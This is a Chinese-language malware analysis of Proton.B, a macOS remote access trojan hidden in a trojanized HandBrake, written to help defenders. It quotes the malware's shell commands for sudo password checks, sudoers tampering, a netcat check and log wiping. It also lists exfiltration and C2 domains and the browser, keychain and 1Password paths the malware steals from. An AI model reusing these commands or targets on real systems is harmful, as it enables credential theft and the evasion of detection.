近期,黑客又開(kāi)發(fā)出了一種Proton遠(yuǎn)程訪問(wèn)工具(RAT)的新型變種。Proton是一個(gè)針對(duì)macOS系統(tǒng)的惡意軟件,它可以竊取密碼、記錄鍵盤(pán)按鍵數(shù)據(jù)和提取文件,攻擊者甚至還可以利用它來(lái)遠(yuǎn)程登錄目標(biāo)主機(jī)。

寫(xiě)在前面的話
為了研究這個(gè)惡意軟件變種,我下載了一個(gè)植入了Proton的HandBrake樣本。這個(gè)樣本感染的是Proton.B,也就是Proton的變種版本。我對(duì)該惡意軟件的運(yùn)行機(jī)制進(jìn)行了分析,并使用逆向工程技術(shù)對(duì)其代碼進(jìn)行了研究。我通過(guò)研究發(fā)現(xiàn),Proton的開(kāi)發(fā)者使用了多種技術(shù)來(lái)干擾安全研究人員的分析,例如對(duì)字符串進(jìn)行加密,以及在多個(gè)分散文件中存儲(chǔ)惡意腳本代碼等等。
注:HandBrake是目前一款非常流行的視頻編碼應(yīng)用。安全專家Patrick在他所發(fā)表的文章中詳細(xì)描述了攻擊者如何將Proton嵌入了HandBrake之中,因此本文不再對(duì)其進(jìn)行贅述。
Proton的工作機(jī)制
我們首先需要處理的惡意軟件名為activity_agent。在反匯編工具中打開(kāi)這個(gè)文件之后,你會(huì)發(fā)現(xiàn)它采用的編程語(yǔ)言為Objective-C,這也是macOS平臺(tái)“原生”的編程語(yǔ)言,而很多其他的惡意軟件使用的是C++或者是其他的一些跨平臺(tái)方案(例如QT)。
接下來(lái),我使用IDA Pro對(duì)文件的二進(jìn)制源碼進(jìn)行了分析。在這個(gè)過(guò)程中,我發(fā)現(xiàn)了很多有意思的東西,例如SSH隧道技術(shù)等等,但是我在測(cè)試這個(gè)惡意軟件樣本的過(guò)程中卻并沒(méi)有看到SSH隧道技術(shù)的使用。

當(dāng)文件被執(zhí)行之后,它會(huì)解密一個(gè)名為“.hash”的文件,這個(gè)文件位于bundle下的Resources目錄中。

這個(gè)文件中包含有大量字符串子集,而activity_monitor源碼將會(huì)加載這些字符串?dāng)?shù)據(jù),這也是很多惡意軟件開(kāi)發(fā)者為了躲避安全研究人員和反病毒產(chǎn)品的檢測(cè)而經(jīng)常會(huì)用到的一種簡(jiǎn)單的字符串隱藏技術(shù)。
解密完成之后,文件“.hash”中包含有下列數(shù)據(jù):



我們可以看到文件中使用到了大量的“%@”,這是Objective-C特有的語(yǔ)句標(biāo)識(shí),表示的是NSSTRING。注:Objective-C用“%@”來(lái)格式化字符串。
當(dāng)這個(gè)文件被執(zhí)行之后,會(huì)彈出一個(gè)看似合法的對(duì)話框,并提示用戶輸入密碼才可以安裝HandBrake的應(yīng)用組件,但對(duì)話框中的提示文本很明顯就是文件“.hash”中的內(nèi)容。

Mac用戶在每一個(gè)對(duì)話框中輸入密碼之前,一定要三思而后行。因?yàn)橥ㄟ^(guò)對(duì)話框的形式來(lái)要求用戶輸入密碼是一種非常常見(jiàn)的社會(huì)工程學(xué)技術(shù),攻擊者可以利用這種方法來(lái)欺騙用戶交出自己的密碼。大家也都知道,很多惡意軟件攻擊都會(huì)使用這種方法。由于絕大多數(shù)環(huán)境下目標(biāo)用戶都在sudoers列表之中,因此攻擊者只要拿到了用戶的密碼,就可以將自己的權(quán)限提升到root。
當(dāng)用戶輸入了自己的密碼之后,該惡意軟件會(huì)立刻通過(guò)下列命令檢測(cè)密碼的有效性:
‘/bin/sh’, ‘-c’,“echo ‘qwer1234’ | sudo -S echo success;”
驗(yàn)證成功之后的下一步就是通過(guò)下列命令禁用/etc/sudoers/中的“tty_tickets”功能:

‘/bin/sh’,‘-c’, ‘echo \’printf “\\033[8;1;1t”; echo “qwer1234” | sudo -S sh -c “echo\’Defaults !tty_tickets\’ >> /etc/sudoers”; killall Terminal; sleep 1;\’
tty_tickets是從macOS Sierra開(kāi)始默認(rèn)開(kāi)啟的一項(xiàng)功能,每當(dāng)用戶在一個(gè)單獨(dú)的終端頁(yè)面執(zhí)行一個(gè)“sudo”命令時(shí),它都會(huì)要求用戶輸入自己的密碼。如果禁用了這項(xiàng)功能,那么用戶只需要輸入一次密碼,就可以在多個(gè)新的終端窗口(tty)中執(zhí)行“sudo”命令了。我認(rèn)為,tty_tickets的禁用將會(huì)方便惡意軟件的開(kāi)發(fā)者執(zhí)行腳本任務(wù),因?yàn)橹恍枰斎胍淮蚊艽a就可以在不同的終端窗口中執(zhí)行sudo命令了。
當(dāng)我在IDA Pro中查看activity_agent的字符串部分時(shí),我迅速發(fā)現(xiàn)了一個(gè)公共密鑰。

這個(gè)密鑰會(huì)在下面這行命令中使用到:
‘/bin/sh’,‘-c’, “echo ‘—–BEGIN PUBLICKEY—–\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUP19DdW2NlkkdovqqwF\n+r3sBaa
mka42zVMGa+COUCIysrVhVJIv4nmc57TLxgG8dsg+G0o0NQ75n898b04l\nYGve3gXGWJ
8Y5OTJ16+RA4OtKAiO8v7qEGnQ/QpSzrLZPU3Yd60bAltYSvCCiOdB\nOKhOAiag0H39F2k
5ea4zxt6TNDksW/o3+HcjzA4yy+C1tp2Cr4X37O5XMVZPWpMk\nsIXPazh91tr0TJ2VFyx
4btnDPajeOzhcKUA05Wrw+hagAZnFU9Bajx3KvdTlxsVx\nLmRc5r3IqDAsXTHH1jpmWMDiC9IGLDFP
rN6NffAwjgSmsKhi1SC8yFHh0oPCswRh\nrQIDAQAB\n—–ENDPUBLIC KEY—–‘ > /tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin -inkey/tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin –inkey
密鑰存儲(chǔ)在/tmp/public.pem文件之中,當(dāng)這個(gè)密鑰存儲(chǔ)完畢之后,惡意軟件會(huì)解密一個(gè)名叫“.tmpdata”的文件,這個(gè)文件同樣在Resources目錄中。注:在macOS和Linux這種使用了POSI文件系統(tǒng)的平臺(tái)中,文件名前面有”.”表示這是一個(gè)隱藏文件。
解密后的“.tmpdata”文件中包含有惡意軟件的“許可證”(JSON格式),許可證數(shù)據(jù)為它的“有效期”以及各種校驗(yàn)碼。
{“expiration_date”:”2017-05-1023:59:59 +0000″,”grace_period”:”25″,”bundle_name”:”chameleo”,”os_version”:”10.x”,”checksum”:”
128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe”}
接下來(lái),惡意軟件會(huì)進(jìn)行一次測(cè)試來(lái)確定已經(jīng)成功接入了互聯(lián)網(wǎng)。(與Google的DNS服務(wù)器-8.8.8.8建立一條TCP鏈接,時(shí)長(zhǎng)20秒)
‘/bin/sh’,‘-c’, ‘nc -G 20 -z 8.8.8.8 53 >/dev/null 2>&1 && echo success’.
惡意軟件還會(huì)嘗試與下面列表中的其他域名進(jìn)行連接:
handbrakestore.com
handbrake.cc
luwenxdsnhgfxckcjgxvtugj.com
6gmvshjdfpfbeqktpsde5xav.com
kjfnbfhu7ndudgzhxpwnnqkc.com
yaxw8dsbttpwrwlq3h6uc9eq.com
qrtfvfysk4bdcwwwe9pxmqe9.com
fyamakgtrrjt9vrwhmc76v38.com
kcdjzquvhsua6hlfbmjzkzsb.com
Ypu4vwlenkpt29f95etrqllq.com
隨后惡意軟件會(huì)檢測(cè)當(dāng)前的時(shí)間和日期,這里非常有意思,它好像并不信任目標(biāo)設(shè)備上的設(shè)置,它會(huì)與外部服務(wù)器(Google主機(jī))單獨(dú)進(jìn)行一次時(shí)間同步,很可能是因?yàn)楣粽呦胍乐寡芯咳藛T對(duì)本地設(shè)備時(shí)鐘動(dòng)手腳。惡意軟件通過(guò)創(chuàng)建一個(gè)新的環(huán)境變量$hcresult來(lái)獲取時(shí)間和日期,這個(gè)變量可以存儲(chǔ)Google返回的內(nèi)容。執(zhí)行命令如下:
hcresult=`curl -sL https://script.google.com/macros/s/AKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1
VucMVgVvhul5XqS9HkAyJY/exec`
接下來(lái),惡意軟件還會(huì)檢測(cè)下列路徑中的文件是否存在,如果存在,則說(shuō)明Proton.B的安裝已經(jīng)完成。
~/Library/VideoFrameworks/.ptrun
如果許可證仍然有效,那么Proton.B將會(huì)創(chuàng)建一個(gè)新的目錄:~/Library/Renderfiles,并將它的bundle文件拷貝到這個(gè)目錄中,然后刪除初始執(zhí)行地址中的所有bundle。
接下來(lái),它還會(huì)創(chuàng)建另一個(gè)目錄:~/Library/VideoFrameworks。這個(gè)目錄將會(huì)存儲(chǔ)所有竊取來(lái)的數(shù)據(jù),隨后這些信息將會(huì)被發(fā)送給攻擊者。
根據(jù)我的研究發(fā)現(xiàn),它會(huì)竊取以下憑證:
1. Google Chrome資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
2. Safari資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
3. Firefox資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
4. Opera資料和所有保存的密碼,包括cookie、保存的表單數(shù)據(jù)和密碼;
5. 各種鑰匙串?dāng)?shù)據(jù);
6. 1Password數(shù)據(jù)庫(kù)

每一個(gè)類(lèi)別的密碼將會(huì)保存在相應(yīng)的zip文件中:
Chrome數(shù)據(jù)保存在CR_dif.zip中;
Firefoxs數(shù)據(jù)保存在FF.zip中;
Opera數(shù)據(jù)保存在OP.zip中;
下列目錄中的鑰匙串?dāng)?shù)據(jù)保存在KC.zip中:
/Library/Keychains
~/Library/keychain
下列目錄中的Gnupg和iPassword數(shù)據(jù)保存在GNU_PW.zip中:
~/.gnupg
~/Library;/Application support/1Password 4
~/Library;/Application support/1Password 3.9
而所有的這些文件又會(huì)全部壓縮到一個(gè)名叫Proton.zip的文件中,這個(gè)文件保存在~/Library/VideoFrameworks目錄,隨后會(huì)被發(fā)送給攻擊者。
當(dāng)所有的憑證數(shù)據(jù)壓縮完成之后,惡意軟件會(huì)使用“curl”將壓縮包發(fā)送給攻擊者-url: http://api.handbrake.biz/api/init:

當(dāng)所有的壓縮包創(chuàng)建完成之后,惡意軟件還會(huì)執(zhí)行多次“killall”命令并關(guān)閉下列應(yīng)用進(jìn)程:
Console
Terminal
Wireshark
這一步會(huì)大大增加研究人員對(duì)這款?lèi)阂廛浖姆治鲭y度,一個(gè)簡(jiǎn)單的應(yīng)對(duì)方案是使用tee命令將日志輸出到其他文件,使用iTerm來(lái)代替Terminal(終端),然后使用tcpdump或Tshark來(lái)代替Wireshark。¯\_(ツ)_/¯
完成了上述的所有操作步驟之后,惡意軟件會(huì)將其本身的bundle拷貝到~/Library/RenderFiles/activity_agent.app中,然后通過(guò)添加下列LaunchAgent來(lái)實(shí)現(xiàn)在目標(biāo)設(shè)備中的持久化感染:~/Library/LaunchAgents/fr.handbrake.actibity_agent.plist。
當(dāng)然了,沒(méi)有清除日志記錄的惡意軟件不是一款好的惡意軟件。Proton.B還會(huì)通過(guò)下列命令來(lái)清除系統(tǒng)的日志數(shù)據(jù):
sudo -S rm -rf /var/log/* /Library/Logs/*
緩解方案
感染了Proton怎么辦?如果你感覺(jué)你的憑證已經(jīng)被攻擊者竊取了,請(qǐng)盡快修改你所有的賬戶密碼,包括所有的在線服務(wù)賬號(hào)。
總結(jié)
目前,macOS平臺(tái)上的絕大多數(shù)惡意軟件進(jìn)行的都是一些簡(jiǎn)單的惡意廣告活動(dòng)或攻擊活動(dòng),而這也是我們第一次能夠拿到一個(gè)真實(shí)的惡意軟件樣本并對(duì)其內(nèi)部運(yùn)行機(jī)制進(jìn)行詳細(xì)的分析。不過(guò)遺憾的是,在整個(gè)研究過(guò)程中我們沒(méi)能到任何交互式命令的執(zhí)行,而且也沒(méi)有看到攻擊者與我的研究機(jī)器初始化新的連接。
|